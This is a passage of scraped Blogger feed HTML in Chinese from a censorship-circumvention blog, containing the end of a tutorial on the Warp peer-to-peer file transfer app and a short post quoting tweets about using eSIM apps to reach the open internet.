data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/a351dbb3-664d-4735-b213-23e333fa14c8_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/a351dbb3-664d-4735-b213-23e333fa14c8_image_image.png" /></div><p>在粘贴代码并单击“接收文件”后,Warp 将开始连接到发送者的设备。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/410b8d28-5db6-41b5-976e-a5b0ff362c65_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/410b8d28-5db6-41b5-976e-a5b0ff362c65_image_image.png" /></div><p></p><p>如果成功,您将看到“已连接到对等”状态。如果没有,发送者或接收者的系统/网络出现问题。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/64f37190-832e-43d0-8700-ab6f2e391f2f_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/64f37190-832e-43d0-8700-ab6f2e391f2f_image_image.png" /></div><p>成功连接后,接收者可以选择“接受”将其保存到系统的“下载”文件夹中,或者选择“另存为”将其保存到自己选择的位置。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/5c4ba2a4-079d-43a0-8811-328df20236ab_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/5c4ba2a4-079d-43a0-8811-328df20236ab_image_image.png" /></div><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/84164c51-268a-42c9-834e-674c49610a9c_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/84164c51-268a-42c9-834e-674c49610a9c_image_image.png" /></div><p>就是这样。当文件传输完成时,接收者将看到以下屏幕:</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/bc3f05be-21f8-4ba2-a5af-2d02b72afd1b_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/bc3f05be-21f8-4ba2-a5af-2d02b72afd1b_image_image.png" /></div><p>用户还可以进入三条丝带图标下的“首选项”菜单,访问高级设置,如设置 Rendezvous/Transit 服务器 URL 或将代码字数设置为更长的字数以增强安全性。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/c6e898fa-6432-4b3f-93b8-82da35bf7ce5_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/c6e898fa-6432-4b3f-93b8-82da35bf7ce5_image_image.png" /></div><p></p><p>关于 Warp 就是这些;它非常简单,工作得很好。</p><h2>📥 获取 Warp</h2><p>Warp 适用于 Linux 和 Windows;您可以在其 <a href="https://gitlab.gnome.org/World/warp?ref=news.itsfoss.com" target="_blank">GitLab 页面上</a>选择所需的软件包或查看源代码。</p><p>对于 Linux 用户,您可以从 <a href="https://flathub.org/apps/app.drey.Warp?ref=news.itsfoss.com" target="_blank">Flathub</a> 获取它。</p></div></div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-69507662070674966102023-08-01T13:33:00.000+08:002023-08-11T21:07:12.935+08:00备用翻墙方案:eSIM<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0">via <a href="https://twitter.com/machan_47291/status/1685964261191995392">https://twitter.com/machan_47291/status/1685964261191995392 </a></span></div><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"> <br /></span></div><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"></span></div><blockquote><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0">研究了下esim卡,发现用这玩意翻墙实在太简单了,去play store 下载一个能利用esim相关技术提供上网服务的app,例如eskimo(这软件还送你1.5G流量),直接就相当于获得一个国外手机卡,马上就可以翻墙。难怪国产手机到目前都不支持esim,原来是在这里卡了脖子</span><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"> </span></div><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"> </span></div><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"> 购买pixel手机的理由又加一!</span></div></blockquote><p> 随后有人<a href="https://twitter.com/_ooT00Too_/status/1686204689988395009">评论</a>:</p><blockquote><p>提醒下,Pixel系列不要用DJB的eSIM,无法share上网。 <br /></p></blockquote><p>更有人相信<a href="https://twitter.com/rsrs7777777/status/1686200061376749570">GFW不会坐视不管</a>:</p><blockquote><p>sim卡流量走运营商network,如果看ip会看到分配的是运营商所在地ip,这个洞早晚得堵上 <br /></p></blockquote><div class="css-901oao r-18jsvk2 r-37j5jr r-1inkyih r-16dba41 r-135wba7 r-bcqeeo r-bnwqim r-qvutc0" data-testid="tweetText" dir="auto" id="id__j3is3nz31o" lang="zh"><span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0"></span></div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0